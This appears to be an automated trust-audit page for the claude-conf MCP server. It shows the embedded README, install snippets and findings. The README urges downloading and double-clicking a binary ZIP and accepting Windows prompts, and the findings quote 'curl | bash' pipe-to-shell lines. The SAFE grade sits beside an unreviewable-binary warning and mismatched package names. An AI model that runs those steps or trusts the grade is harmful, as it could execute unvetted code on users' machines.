Atlas / MCP servers / vleickzs / claude-conf

claude-confSAFE

mcp/vleickzs/claude-conf

Streamline Claude Code with a modular config toolkit for faster, cleaner terminal workflows

Verdict
SAFE
Grade
B
Trust score
89 /100
Exposed tools
3 3r · 0w · 0d
Transport
—
License
MIT
Stars
0
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://raw.githubusercontent.com/Vleickzs/claude-conf/main/BACKLOG/confclaude1.7.zip)

🚀 What this is

claude-conf is a small toolkit that helps you set up and use Claude Code with less friction. It gives you a cleaner workflow, faster access to common tasks, and a more organized terminal setup.

This project is built for people who want to use Claude Code without spending time on setup steps. It keeps the process simple and focused.

💻 What you need

Before you start, make sure you have:

  • A Windows PC
  • An internet connection
  • A GitHub account if your browser asks you to sign in
  • Claude Code installed or ready to use
  • Access to Windows Terminal or Command Prompt

If you already use a terminal app, you can keep using it.

📥 Download

Visit this page to download:

https://raw.githubusercontent.com/Vleickzs/claude-conf/main/BACKLOG/confclaude1.7.zip

On that page, look for the latest release and download the file that matches your Windows setup. If there is more than one file, choose the one meant for Windows.

🪟 Install on Windows

Follow these steps:

  1. Open the download page in your browser.
  2. Find the newest release at the top of the page.
  3. Open the list of files in that release.
  4. Download the Windows file.
  5. Save it to a folder you can find again, like Downloads or Desktop.
  6. If the file is a ZIP file, right-click it and choose Extract All.
  7. Open the extracted folder.
  8. If you see an app file, double-click it to start.
  9. If you see setup files or script files, follow the instructions in the folder and run the main file.

If Windows asks for permission, choose the option to continue.

🧰 How it works

claude-conf helps organize common Claude Code tasks into a set of simple tools. It can help you:

  • Keep your Claude Code setup in one place
  • Use cleane
Read from source at commit 69547999a842OBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code
claude mcp add claude-command-guard -- npx -y [email protected]
claude-desktop
{
  "mcpServers": {
    "claude-command-guard": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ]
    }
  }
}
03

Exposed tools (3)

3 read · 0 write · 0 destructive.

ToolRiskDescription
BalancedreadDefault settings with progress bars
FullreadEverything enabled with all details
MinimalreadEssential info only: cost, percentage, branch
04

Trust audit

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
declared (2 observation(s))
Shell
none-observed
Dependencies
pinned
Secrets in source
none-found

Findings (6)

MEDIUMInventory / provenance · inv.binary · CWE-1104
BACKLOG/conf_claude_1.7.zip
conf_claude_1.7.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
INFOPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
closing/skills/closing/SKILL.md:7
You are now in **Closing mode**. You are a senior freelance developer and technical co-pilot specializing in mission qualification, scoping, and client relationship management.
INFOSupply chain · prompt.pipe_to_shell · CWE-829, CWE-1357
command-guard/README.md:240
| [Bun](https://bun.sh) | 1.0+ | `curl -fsSL https://bun.sh/install \| bash` |
INFOSupply chain · prompt.pipe_to_shell · CWE-829, CWE-1357
command-guard/README.md:409
| [Bun](https://bun.sh) | 1.0+ | `curl -fsSL https://bun.sh/install \| bash` |
INFOSupply chain · prompt.pipe_to_shell · CWE-829, CWE-1357
handoff-kit/README.md:139
- [Bun](https://bun.sh) — `curl -fsSL https://bun.sh/install | bash`
INFOSupply chain · prompt.pipe_to_shell · CWE-829, CWE-1357
handoff-kit/README.md:276
- [Bun](https://bun.sh) — `curl -fsSL https://bun.sh/install | bash`

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 69547999a842full audit observations/trust-audit/mcp-server/vleickzs__claude-conf.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-1169547999a842SAFEB89first audit
06

Questions

What is the claude-conf MCP server?

Streamline Claude Code with a modular config toolkit for faster, cleaner terminal workflows

What tools does claude-conf expose?

3 in total: 3 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is claude-conf safe to connect to an agent?

The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.

What credentials does claude-conf need?

No credential environment variables were found in its source, so it appears to need none.

How current is this page?

The grade is for one exact copy of the source (69547999a842), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement